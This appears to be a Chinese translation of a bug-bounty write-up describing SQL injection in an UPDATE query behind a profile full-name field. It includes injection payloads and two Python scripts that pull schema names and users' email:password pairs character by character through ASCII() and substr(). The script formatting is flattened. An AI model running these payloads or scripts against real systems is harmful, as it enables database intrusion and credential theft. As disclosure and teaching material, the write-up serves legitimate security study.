UPDATE 查询中的 SQL 注入
今天,我介绍一个我最近发现的一个 SQL 注入漏洞。
在一个Hacking夜晚,依然像往常一样喝着我最爱的冰镇果汁,挑了一个 bug 比较多的程序,开始测试。
就像其他研究员一样,我四处测试 XSS payload。(通常用 '"><img src=x onerror=alert(2) x= 。再尝试了多个点后,终于有一点爆出了一个 500 错误,这当然引起了我的注意。
发生错误的地方是一个 full name 对话框,我紧接着尝试了 test'test ,同样产生了 500 错误,意味着由于单引号的问题导致该错误的发生。
意识到是这个问题后,我猜测服务器应该是构建 SQL 查询的时候没有对单引号进行转义。所以我尝试了手动转义(两个单引号)看会发生什么。我输入了 test''test ,我惊奇的发现错误不见了,而我的 full name 变为了 test'test' 。
由于该对话框是用来修改我的用户全称,故我猜测这是一个UPDATE查询语句。故我尝试了使用 '+@@VERSION+' ,刷新页面后,我的名字变为了 MySQL DBMS 的版本 5.6。
注意:由于这是一个 JSON request,故此处的 + 不会被替换为空格(%20)。
我上报了该问题不久之后,厂商回复了我,请求我进一步深入,同时从数据库中获得更多的信息。
使用这个 SQL 注入漏洞来获取更多数据似乎很难,因为当我尝试扩展查询时总是返回0,由于 MySQL 不支持使用 + 来连接两个字符串。
如果服务器是 SQL server,将会非常简单,我可以轻轻松松的使用 'x'+version()+'x' 来连接两个字符串,之后我的名字可能会变成 x5x 这样。(5是根据不同的版本不同)。
所以,别的 payload,像 'x'+user()+'x' ,将总是返回 0,由于用户名是一个 string,而 + 只能用来相加数字。
故,唯一可能的方法就是,通过转化为数字来获取string的值。因此,我使用了函数 ASCII() 来转化一个string到它对应的ASCII数字,之后我抓取返回结果,再将数字转换回 string。
`'+length(user())#`用来获取要接受的string的长度。
`'+ASCII(substr(user(),1))#`获取要接受的string的第一个字符。
`'+ASCII(substr(user(),2))#`获取要接受的string的第二个字符
`'+ASCII(substr(user(),3))#`获取要接受的string的第三个字符
以此类推。我写了一个脚本来实现这个过程:
import requests
rheaders = {} # Request headers
rcookies = {} # Request cookies
url = 'https://<target>/api/v1/' # Vulnerable endpoint
len = 1000 # length of the string (using 1000 assuming that it won't be more than that,
going out of the string length will return 0 at that moment we know that we got the full
string)
column = 'schema_name' # what to return
table = 'information_schema.schemata' # from what
orderby = 'schema_name'
d=''
start = 0
end = 20
for l in range(start,end):
limit = l
print 'Retrieving '+column+' at row ' + str(limit+1) + '...'
if l > start and d == '':
break
d=''
for i in range(1,len):
r = requests.put(url, json={"fullname":"' ‐ (select
ASCII(substr("+column+","+str(i)+")) from "+table+" order by "+orderby+" limit
"+str(limit)+",1) #"},headers=rheaders,cookies=rcookies)
b = requests.get(url,cookies=rcookies).content.split('fullname":"',1)[1]
[:5] # Get the returned value
n = filter(lambda b:b>='0' and b<='9', b)
d += chr(int(n)) # Convert ASCII number to equivalent character
#print d
if n == '0':
print column + ' at row ' + str(limit+1)+' :‐ ', d
break
使用这个脚本,我可以通过修改’column’,’table’, ‘orderby’变量的值来轻易的获取到数据库的信息。以下是一个截图:
通过一些轻易的修改,我们可以获取到用户的邮件和密码:
运行脚本后截图:
import requests
rheaders = {}
rcookies = {}
url = 'https://<target>/api/v1/'
d = ""
len = 1000
limit = 400000
print 'Retrieving email and pass at row', limit
for i in range(1,len):
r = requests.put(url, json={"fullname":"' ‐ (select
ASCII(substr(concat(email_address,0x3a,password),"+str(i)+")) from __users limit
"+str(limit)+",1) #"},headers=rheaders,cookies=rcookies)
b = requests.get(url,cookies=rcookies).content.split('fullname":"',1)[1][:5]
n = filter(lambda b:b>='0' and b<='9', b)
d += chr(int(n))
print d
if n == '0':
print "Email:Password :‐ ", d
break
本文由 看雪翻译小组 ghostway 编译,来源Mahmoud Jamal@Zombiehelp54
热 门 阅 读:
攻击 Western Digital NAS 个人云存储设备
SELinux 教程之 Permissive VS Enforcing
......
更多优秀文章点击左下角“阅读原文”查看!
看雪论坛:http://bbs.pediy.com/
微信公众号 ID:ikanxue
微博:看雪安全
投稿、合作:www.kanxue.com